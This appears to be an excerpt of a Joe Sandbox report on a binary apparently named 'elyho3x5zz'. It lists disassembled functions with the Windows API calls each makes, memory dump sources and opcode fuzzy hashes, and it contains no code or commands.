Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction ID: d6ba639d36179bf220962d0003303afd4182f0e46577a884b2b94e14cc26c552
Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction Fuzzy Hash: 37419D76A2968187EB24CF21F954B6ABBA4F788BD5F104135EF8A83B54DF3DD4409B00

Function 00007FF629250BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629251001

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction ID: 826a82c3da19635471ecae86d89a825004555f92d10e4439012d41b06f62fb13
Opcode Fuzzy Hash: c2757373dfb26c044112a110afa25e05e956175428925470acde8015b00b00d1
Instruction Fuzzy Hash: AAC1E222A6E68286FE689F159E0077D7B55BFC0B80F555135EA4E87399CF3CE840A702

Function 00007FF6292909C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32 ref: 00007FF629290AAF
SafeArrayAccessData.OLEAUT32 ref: 00007FF629290B05
SafeArrayAccessData.OLEAUT32 ref: 00007FF629290BEC
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF629290C13
SafeArrayAccessData.OLEAUT32 ref: 00007FF629290C24
SafeArrayAccessData.OLEAUT32 ref: 00007FF629290C92
SafeArrayAccessData.OLEAUT32 ref: 00007FF629290D07

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
Instruction ID: 1c487dc48290967455eb74d5095bea0c6ff4aaa5b2e2387b130093b6a3ae2d00
Opcode Fuzzy Hash: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
Instruction Fuzzy Hash: 49A1AE22A6A60A85FF549F65CA543BC3760FB84B58F258431DE0ED7291DF7DE880E342

Function 00007FF629212100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: 58cf649b9ec62641487002ccdad8ef17b395a120d56324a1dac0ea126db60789
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: CAA1C272A2D6C087EB348F19A80066EBB75FBC6B94F104125EA8953B69CF3DD452DF01

Function 00007FF6292BFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF6292BFBED
IsWindowEnabled.USER32 ref: 00007FF6292BFBFA
SendMessageW.USER32 ref: 00007FF6292BFD22
SendMessageW.USER32 ref: 00007FF6292BFE2A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: 594e63a0bc7e94e9812bb4cc9dc2c36e7dd985fe5462915deccaff48c7d9bf20
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: 8B917D21E2A64681FF64EE25DA743FD73F1ABC4B84F544032CA5D83695CF3CE491A202

Function 00007FF629289034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF629289089
GetKeyboardState.USER32 ref: 00007FF62928909D
SetKeyboardState.USER32 ref: 00007FF6292890EC
PostMessageW.USER32 ref: 00007FF629289122
PostMessageW.USER32 ref: 00007FF629289147
PostMessageW.USER32 ref: 00007FF629289190
PostMessageW.USER32 ref: 00007FF6292891B9

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction ID: 78453a933dff7018de6fe9f3b84e59ab898b0d7e2cf714c1c06475b498750e90
Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction Fuzzy Hash: B651F516A2E2D155FF298F719A0867D7F50FB86BC0F488074DA4967F46CF19E450E322

Function 00007FF629288E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF629288E69
GetKeyboardState.USER32 ref: 00007FF629288E7D
SetKeyboardState.USER32 ref: 00007FF629288ECC
PostMessageW.USER32 ref: 00007FF629288EF9
PostMessageW.USER32 ref: 00007FF629288F21
PostMessageW.USER32 ref: 00007FF629288F6C
PostMessageW.USER32 ref: 00007FF629288F98

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction ID: 9e4f1af7c3a6e22832aaf7e9bdf7b701ef4f2e679159b7c53656b18a0b020043
Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction Fuzzy Hash: 4D519212A2E2D155FB758F716A00A7D3FA1FBC6BC4F488074EA9947E46CF18E454A322

Function 00007FF62929DBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF62929DC5F
HttpOpenRequestW.WININET ref: 00007FF62929DCA9
InternetCloseHandle.WININET ref: 00007FF62929DDC0

Part of subcall function 00007FF62929EAB8: GetLastError.KERNEL32 ref: 00007FF62929EAD4
Part of subcall function 00007FF62929EAB8: SetEvent.KERNEL32 ref: 00007FF62929EAE9

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: 766d249d3c5437aa0f8c587c6dc2001a5e30aa5f5c3959f3cac931fc864b26a7
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: 5951D332A1978186FB14DF21AE00AAE77A4FF88B88F248035EE0D47B54DF39E455E741

Function 00007FF629284860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62927B748: CLSIDFromProgID.OLE32 ref: 00007FF62927B771
Part of subcall function 00007FF62927B748: ProgIDFromCLSID.OLE32 ref: 00007FF62927B790
Part of subcall function 00007FF62927B748: lstrcmpiW.KERNEL32 ref: 00007FF62927B7A2
Part of subcall function 00007FF62927B748: CoTaskMemFree.OLE32 ref: 00007FF62927B7B4

IIDFromString.OLE32 ref: 00007FF6292848EF
CoCreateInstance.OLE32 ref: 00007FF629284931
SetErrorMode.KERNEL32 ref: 00007FF62928496D
GetProcAddress.KERNEL32 ref: 00007FF629284983
SetErrorMode.KERNEL32 ref: 00007FF629284A15

Strings

DllGetClassObject, xrefs: 00007FF629284973

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction ID: 18d7afa3f28c11d58322e94d94d4c3763e7ac79b271e20ace446029c4f5ba8d0
Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction Fuzzy Hash: 5B516A22A2AB4693FB188F16EA503697260FB84BC4F144135DB4D9BA84DF7CF054E752

Function 00007FF6292B9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6292B928B
GetWindowLongW.USER32 ref: 00007FF6292B9313
SendMessageW.USER32 ref: 00007FF6292B935A
SendMessageW.USER32 ref: 00007FF6292B9389
GetWindowLongW.USER32 ref: 00007FF6292B93A0
SetWindowLongPtrW.USER32(?,?,?,00007FF6292BDF83), ref: 00007FF6292B93C4

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: 6a699a1f395f68d369cd35d8b3c3390bd3e9e2410b43746b8b499a66564cc732
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: 9D413225A2AA4581FF608F19D9A067D33A4EBC4F94F554132CE1E97BA4CF3DE441E301

Function 00007FF6292BA884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF6292BA8D1
SetMenu.USER32 ref: 00007FF6292BA8E4
GetMenuItemInfoW.USER32 ref: 00007FF6292BA977
IsMenu.USER32 ref: 00007FF6292BA991
CreatePopupMenu.USER32 ref: 00007FF6292BA99B
InsertMenuItemW.USER32 ref: 00007FF6292BA9D1
DrawMenuBar.USER32 ref: 00007FF6292BA9DA

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction ID: de41796cacf58ca9f7e0e4df1ea05d9d05c2abcde4d9003dff1ff94b9cc16c4c
Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction Fuzzy Hash: 30411636A16E4585FB50CF22E9906AC37B4FB84B98F154036DE4E87BA8CF39E445E701

Function 00007FF629284FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF629285028
MultiByteToWideChar.KERNEL32 ref: 00007FF629285059
SysAllocString.OLEAUT32 ref: 00007FF629285062
SysAllocString.OLEAUT32 ref: 00007FF629285086
SysFreeString.OLEAUT32 ref: 00007FF629285092
StringFromGUID2.OLE32 ref: 00007FF6292850B0
SysAllocString.OLEAUT32 ref: 00007FF6292850BF

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
Instruction ID: c611b7f474969aa007181e0ef25167f4d8afe758fa859561a593c01ad480b4f1
Opcode Fuzzy Hash: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
Instruction Fuzzy Hash: 83319221B2AB4685FF249F12EA4456973A5FBC9FD0F488236DA5E83790CF3CE444A345

Function 00007FF629284EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF629284F03
MultiByteToWideChar.KERNEL32 ref: 00007FF629284F34
SysAllocString.OLEAUT32 ref: 00007FF629284F3D
SysAllocString.OLEAUT32 ref: 00007FF629284FA5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AllocByteCharMultiStringWide
String ID:
API String ID: 3603722519-0
Opcode ID: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
Instruction ID: 341f10739e98628b3e120bff789c2d2132f71d32c4153276edb765bf523350a4
Opcode Fuzzy Hash: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
Instruction Fuzzy Hash: E331B021A1AB458AFF24DF12EA04579B3A0FB84FD4F48423ADA5D83794CF3CE4849701

Function 00007FF6292BAEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292BAF8C
SendMessageW.USER32 ref: 00007FF6292BAFA0
SendMessageW.USER32 ref: 00007FF6292BAFB4
SendMessageW.USER32 ref: 00007FF6292BAFCB
SendMessageW.USER32 ref: 00007FF6292BAFE3

Strings

Msctls_Progress32, xrefs: 00007FF6292BAF12

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction ID: e737bd7e15fe92d80cc01058a6c7707791785e37a8f99843f550eb29c610d78d
Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction Fuzzy Hash: A0317A3662A68187E7608F25F994B5AB761EBC8790F109139EB8C43F98CF3DD485CB01

Function 00007FF62928FAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF62928FB23
CreatePipe.KERNEL32 ref: 00007FF62928FB6F

Strings

nul, xrefs: 00007FF62928FBB3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: 19138e3c707bf965d2c01f007b21675e267a4d5c17c5115358d582939c5277cc
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: D3317C22A2AA0282FF24CF24D9143A973A4FBD9BB8F100330DA6D867D4CF3CD5459752

Function 00007FF62928F9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF62928FA11
CreatePipe.KERNEL32 ref: 00007FF62928FA5D

Strings

nul, xrefs: 00007FF62928FA99

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: 65aec1c11716b7b2b768f22219221d8a309731c302395b1be808150637953e8d
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: 51217122A29A4691FF248F24D9543B973A0FBC5BB8F504331DA6E867D4DF7CD0049792

Function 00007FF629218F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF629218EBA), ref: 00007FF629218F7D
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF629218EBA), ref: 00007FF629218FBF
ScreenToClient.USER32 ref: 00007FF629218FE5
GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF629218EBA), ref: 00007FF629219175
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF629218EBA), ref: 00007FF62921919E
GetSystemMetrics.USER32 ref: 00007FF62925E005

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction ID: 180c9209abd02a63ab7d9050b6481635a130440944351a65f31276012e391f4d
Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction Fuzzy Hash: 11A1096AA2A25386FB288F71D9447BD33A0FF84B58F141035DE19D7A94EF3D9850E312

Function 00007FF62923A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923A08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923A460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923A701

Strings

p, xrefs: 00007FF62923A19C
f, xrefs: 00007FF62923A194

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

